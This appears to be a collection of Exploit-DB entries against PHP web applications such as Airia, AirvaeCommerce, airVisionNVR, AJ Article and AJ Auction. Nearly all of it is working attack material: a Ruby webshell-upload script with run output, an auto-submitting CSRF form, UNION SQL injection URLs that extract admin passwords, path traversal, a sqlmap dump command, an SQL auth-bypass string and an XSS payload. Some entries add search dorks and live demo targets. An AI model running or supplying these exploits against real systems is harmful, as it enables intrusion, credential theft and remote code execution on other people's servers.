deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39982
Description: Airia - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2016-06-20
Author: HaHwul

Exploit:
# Exploit Title: Airia - Webshell Upload Vulnerability
# Date: 2016-06-20
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://ytyng.com
# Software Link: https://github.com/ytyng/airia/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

require "net/http"
require "uri"

if ARGV.length !=2
puts "Airia Webshell Upload Exploit(Vulnerability)"
puts "Usage: #>ruby airia_ws_exploit.rb [targetURL] [phpCode]"
puts "  targetURL(ex): http://127.0.0.1/vul_test/airia"
puts "  phpCode(ex): echo 'zzzzz'"
puts "  Example : ~~.rb http://127.0.0.1/vul_test/airia 'echo zzzz'"
puts "  exploit & code by hahwul[www.hahwul.com]"

else

target_url = ARGV[0]    # http://127.0.0.1/jmx2-Email-Tester/
shell = ARGV[1]    # PHP Code
exp_url = target_url + "/editor.php"
uri = URI.parse(exp_url)
http = Net::HTTP.new(uri.host, uri.port)

request = Net::HTTP::Post.new(uri.request_uri)
request["Accept"] = "*/*"
request["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
request["Connection"] = "close"
request["Referer"] = "http://127.0.0.1/vul_test/airia/editor.php?file=1&group=%281%20AND%20%28SELECT%20SLEEP%2830%29%29%29%20--%20"
request["Accept-Language"] = "en"
request["Content-Type"] = "application/x-www-form-urlencoded"
request.set_form_data({"mode"=>"save",""=>"","file"=>"shell.php","scrollvalue"=>"","contents"=>"<?php echo 'Airia Webshell Exploit';#{shell};?>","group"=>"vvv_html"})
response = http.request(request)

puts "[Result] Status code: "+response.code
puts "[Result] Open Browser: "+target_url+"/data/vvv_html/shell.php"
end

=begin
### Run Step.

#> ruby 3.rb http://127.0.0.1/vul_test/airia "echo 123;"
[Result] Status code: 302
[Result] Open Browser: http://127.0.0.1/vul_test/airia/data/vvv_html/shell.php

output: Airia Webshell Exploit123

### HTTP Request / Response
[Request]
POST /vul_test/airia/editor.php HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://127.0.0.1/vul_test/airia/editor.php?file=1&group=%281%20AND%20%28SELECT%20SLEEP%2830%29%29%29%20--%20
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; DBSR_session=01ltbc0gf3i35kkcf5f6o6hir1; __utma=96[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]384142.1; __utmb=96992031.2.10[PII_REDACTED]; __utmc=96992031; __utmz=96[PII_REDACTED]384142.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

mode=save&file=1.php&scrollvalue=&contents=<?php echo "Attack OK."?>&group=vvv_html

[Response] Uloaded file
http://127.0.0.1/vul_test/airia/data/vvv_html/1.html
=end
Exploit-DB #39981
Description: Airia - Cross-Site Request Forgery (Add Content)
Type: webapps
Platform: php
Date: 2016-06-20
Author: HaHwul

Exploit:
<!--
# Exploit Title: Airia - CSRF Vulnerability(Add content)
# Date: 2016-06-20
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://ytyng.com
# Software Link: https://github.com/ytyng/airia/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]
-->

<form name="csrf_poc" action="http://127.0.0.1/vul_test/airia/editor.php" method="POST">
<input type="hidden" name="mode" value="save">
<input type="hidden" name="file" value="1">
<input type="hidden" name="scrollvalue" value="">
<input type="hidden" name="contents" value="CSRF Attack">
<input type="hidden" name="group" value="1">

<input type="submit" value="Replay!">
</form>
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
Exploit-DB #42659
Description: AirStar Airbnb Clone Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-11
Author: 8bitsec

Exploit:
# Exploit Title: AirStar Airbnb Clone Script v1.0 - SQL Injection
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.abservetech.com/
# Software Link: https://www.abservetech.com/airstar-airbnb-clone/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
AirStar Airbnb Clone Script

Technical Details & Description:
================================

Blind SQL injection on [room_id] parameter.

Proof of Concept (PoC):
=======================

http://localhost/[path]/airstar/hotel/roomsedit/detailedroom/6 AND 8995=8995?mem_count=1&check_in=&check_out=&search_city=Madurai,India&min_amt=10&max_amt=150&inout=0

Parameter: #1 (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #5689
Description: AirvaeCommerce 3.0 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-29
Author: QTRinux

Exploit:
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                             &nb sp;                                  |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
Title :: Remote SQL Injection
 
Author :: QTRinux [Qataro (at) hotmail (dot) Com]
Application :: AirvaeCommerce 3.0
 
Download :: http://www.airvaecommerce.com
Price :: $179
Dork 1 ::  powered by AirvaeCommerce 3.0
 
ShoutZ :: Allah ,InJecTor,AlQaTaRi,all InjEctOr5 TeaM ,TrYaG TeaM & Muslims Hackers
Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.
--------------------------------------------[C o n t e x t]-----------------------------------------
 
Vulnerability: http://localhost/ path script / ?p=vzh&pid= [SQL]
Example : /?p=vzh&pid=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
           ,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,concat(pwd,0x3a,email),47%20from%20usr%20where%20id=2/*

Note : Some site used SELECT statements have a different number of columns about 45  .
 
-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-29]
Exploit-DB #21990
Description: airVisionNVR 1.1.13 - 'readfile()' Disclosure / SQL Injection
Type: webapps
Platform: php
Date: 2012-10-15
Author: pennyGrit

Exploit:
Exploit Title: airVisionNVR readfile() disclosure and sql injection
Google Dork: 
Date: Oct 13, 2012
Exploit Author: pennyGrit
Vendor Homepage: http://www.ubnt.com/
Software Link: http://www.ubnt.com/downloads/airvision/airVision-v1.1.3-installer.exe
Version: 1.1.13
Tested on: WinXP SP3
CVE: Possibly related to CVE-2008-1381 and/or CVE-2008-3880

Overview: The airvision NVR program is an xampp-like suite that allows a regular PC to be used as a security NVR for the Ubiquity line of IP cameras. Several programs are installed including apache, PHP, mysql and a modified version of zoneminder. Ubiquity publishes install packages for both Windows and Ubuntu however only the Windows version was tested below.

* php readfile() local file discolsure: Unauthenticated users can review the contents of anyfile on the host machine using a browser:
http://192.168.56.101:7079/index.php?view=file&path=../../../../../../boot.ini

* sql AND/OR time-based blind injection: The 'id' parameter in ajax/event.php is vulnerable to a time based sql injection. Complete enumeration of the mysql 'nvr' database is possible.
Payload: request=event&action=video&eids=1&videoFormat=1&rate=1&scale=1&id=1 AND 3044=BENCHMARK(5000000,MD5(0x67714e77))
using sqlmap: python sqlmap.py --dbms=mysql -u "http://192.168.56.101:7079/index.php?request=event&action=video&eids=1&videoFormat=1&rate=1&scale=1&id=1" -p id --level 3 --risk 3 --technique T --dump
Exploit-DB #5590
Description: AJ Article 1.0 - 'featured_article.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-12
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+   AJ Article 1.0 (featured_article.php) Remote SQL Injection Vulnerability     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 12 MAY 2008
Script Download: http://www.ajsquare.com/products/article/index.php?auc=1
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

AJ Article suffers from a insecure mysql query, This allows the
remote attacker to arbitrary execute mysql code/querys.

the below injection will perform a SELECT query which will display admin credentials in RED text.



SQL Injection:

http://site.com/featured_article.php?mode=detail&page=search&artid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,CONCAT(0x3C666F6E7420636F6C6F723D[PII_REDACTED]3E,username,char(58),admin_password,0x3C2F666F6E743E),6,7,8,9,10,11,12/**/FROM/**/admin/*


NOTE/TIP: 

passwords are plaintext
admin login is at "/admin/"



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+   AJ Article 1.0 (featured_article.php) Remote SQL Injection Vulnerability     +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-12]
Exploit-DB #6932
Description: AJ Article 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hakxer

Exploit:
###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
        /____/                                           

# Discovered by : Hakxer
# Type Gap : Auth Bypass
# Script : AJ ARTICLE 
# Greetz : Allah , Egyptian x hacker , Br1ght D@rk 
##########################################################################

# [~] First Go to http://www.ajsquare.com/products/demo/admin/index.php
# [~] In username Write : admin ' or ' 1=1
# [~] In Password Any thing : Hakxer
# [~] Click Login ..! you in panel
		

# Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-01]
Exploit-DB #7081
Description: AJ Article 1.0 - Remote Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-10
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
	AJ Article Auth Bypass Vulnerability
==============================================================================

	[Â»] Script:             [ AJ Article ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://www.ajsquare.com/products/article/ ]
	[Â»] Type:               [ Commercial ]
	[Â»] Report-Date:        [ 10.11.2008 ]
	[Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===
	
	[Â»] http://localhost/[path]/admin/user.php
	[Â»] http://localhost/[path]/admin/articles.php
	[Â»] http://localhost/[path]/admin/articlesuspend.php
	[Â»] http://localhost/[path]/admin/site.php
	[Â»] http://localhost/[path]/admin/statistics.php
	[Â»] http://localhost/[path]/admin/mail.php
	[Â»] http://localhost/[path]/admin/category.php
	[Â»] http://localhost/[path]/admin/subcategory.php
	[Â»] http://localhost/[path]/admin/changepassword.php
	[Â»] http://localhost/[path]/admin/polling.php
	[Â»] http://localhost/[path]/admin/logo.php
	[Â»] ...
	


===[ LIVE ]===

	[Â»] http://www.ajsquare.com/products/demo/admin/


	
===[ Greetz ]===

	[Â»] ALLAH
	[Â»] Tornado2800 <Tornado2800[at]gmail.com>
	[Â»] Hussain-X <darkangel_g85[at]yahoo.com>

	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
	//ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-10]
Exploit-DB #14354
Description: AJ Article 3.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-13
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

vendor URL :http://www.ajsquare.com/
Google Dork :Powered By: AJ Square Inc
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description 
AJArticle is developed using PHP, MySql. The core concept of the script is to share the knowledge between the users in a group. Professionals on various domains can post their articles. All the site users can read the posting made by the professionals
#######################################################################################################
Xploit: Persistent Xss Vulnerability


The attacker can insert the xss scritp in the profile section

This vuln exist in both user,author side.

Attack Pattern:">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> once inserted goto check your profile.

DEMO URL :http://server/ajarticlev3/?do=myaccount
          http://server/ajarticlev3/?do=profile&action=edit

The same issue in the article submission also.You can insert xss script in Title* option

Demo URL : http://server/ajarticlev3/?do=article&action=show

#######################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #7087
Description: AJ Auction - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-10
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
	AJ Auction Auth Bypass Vulnerability
==============================================================================

	[Â»] Script:             [ AJ Auction ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://www.ajsquare.com/products/auction/ ]
	[Â»] Type:               [ Commercial ]
	[Â»] Report-Date:        [ 10.11.2008 ]
	[Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


	[-] AJ Auction OOPD
	[+] AJ Auction Pro Platinum Skin #1
	[+] AJ Auction Pro Platinum Skin #2
	[+] AJ Auction Web 2.0
	
===[ XPL ]===

	[!]	When the page gets load, Press ESC btn To Bypass Redirection ;)
	
	[ Only AJ Auction Pro Platinum Skin #1 ]
	[Â»] http://localhost/[path]/admin/user.php
	
	[ all ]
	[Â»] http://localhost/[path]/admin/site.php
	[Â»] http://localhost/[path]/admin/auction.php
	[Â»] http://localhost/[path]/admin/mail.php
	[Â»] http://localhost/[path]/admin/fee_setting.php
	[Â»] http://localhost/[path]/admin/earnings.php
	[Â»] http://localhost/[path]/admin/insertion_fee_settings.php
	[Â»] http://localhost/[path]/admin/custom_category.php
	[Â»] http://localhost/[path]/admin/subcategory.php
	[Â»] http://localhost/[path]/admin/category.php
	[Â»] http://localhost/[path]/admin/report.php
	[Â»] http://localhost/[path]/amdin/store_manager.php
	[Â»] http://localhost/[path]/admin/choose_sell_format.php
	[Â»] ...
	


===[ LIVE ]===
	[!] Skin #1
	[Â»] http://www.ajauctionpro.com/ajauction_platinum/admin/index.php
	[Â»] http://www.tapinglobal.com/admin/

	[!] Web2.0
	[Â»] http://www.ajauctionpro.com/auction_web2.0/admin/index.php

	
===[ Greetz ]===

	[Â»] ALLAH
	[Â»] Tornado2800 <Tornado2800[at]gmail.com>
	[Â»] Hussain-X <darkangel_g85[at]yahoo.com>

	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
	//ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-10]
Exploit-DB #5868
Description: AJ Auction 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-19
Author: Hussin X

Exploit:
#########################################################
#
#    AJ Auction OOPD V.1  SQL Injection Vulnerability
#========================================================
#    Author: Hussin X                                   =
#                                                       =
#    Home :  www.tryag.cc/cc                            =
#                                                       =
#    email:  darkangel_g85[at]Yahoo[DoT]com             =
#            hussin.x[at]hotmail[DoT]com                =
#                                                       =
#=========================================================
#    HomE script : http://www.ajauctionpro.com/ajhome.php
#     
#    Demo : http://www.ajauctionpro.com/auction_2008/v1/   
#    
#          DorK :  Powered By AJ Auction
#     
##########################################################

Exploit:   

http://localhost.com/[PaTs]/[PaTs]/?do=allcat&id=-1+union+select+concat(user_name,0x3a,password)+from+admin_users--


Admin login

admin/adminindex.php

################################################################################
#####################################( Greetz )#################################
#                                                                              #
#           tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUA              #       
#                mos_chori / Rafi / FAHD / Iraq Hackers /                      #       
#                                                                              #
#################################(and All IRAQIs)###############################
################################################################################

# milw0rm.com [2008-06-19]
Exploit-DB #5591
Description: AJ Auction 6.2.1 - 'classifide_ad.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-12
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+   AJ Auction <= 6.2.1 (classifide_ad.php) Remote SQL Injection Vulnerability   +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 12 MAY 2008
Script Download: http://www.ajsquare.com/products/auction/index.php?auc=1
DORK: inurl:"classifide_ad.php"



Vendor Has Not Been Notified!



DESCRIPTION: 

AJ Auction (all versions to date) suffers from a insecure mysql query, allowing a remote attacker,
to arbitrary inject mysql code/query.

the below injection will display the admin credentials.



SQL Injection's:

http://site.com/classifide_ad.php?item_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,CONCAT(user_name,char(58),password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54/**/FROM/**/admin/**/LIMIT/**/0,1/*



NOTE/TIP: 

admin login is at /admin/



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !


peace, t0pP8uZz


--==+================================================================================+==--
--==+   AJ Auction <= 6.2.1 (classifide_ad.php) Remote SQL Injection Vulnerability   +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-12]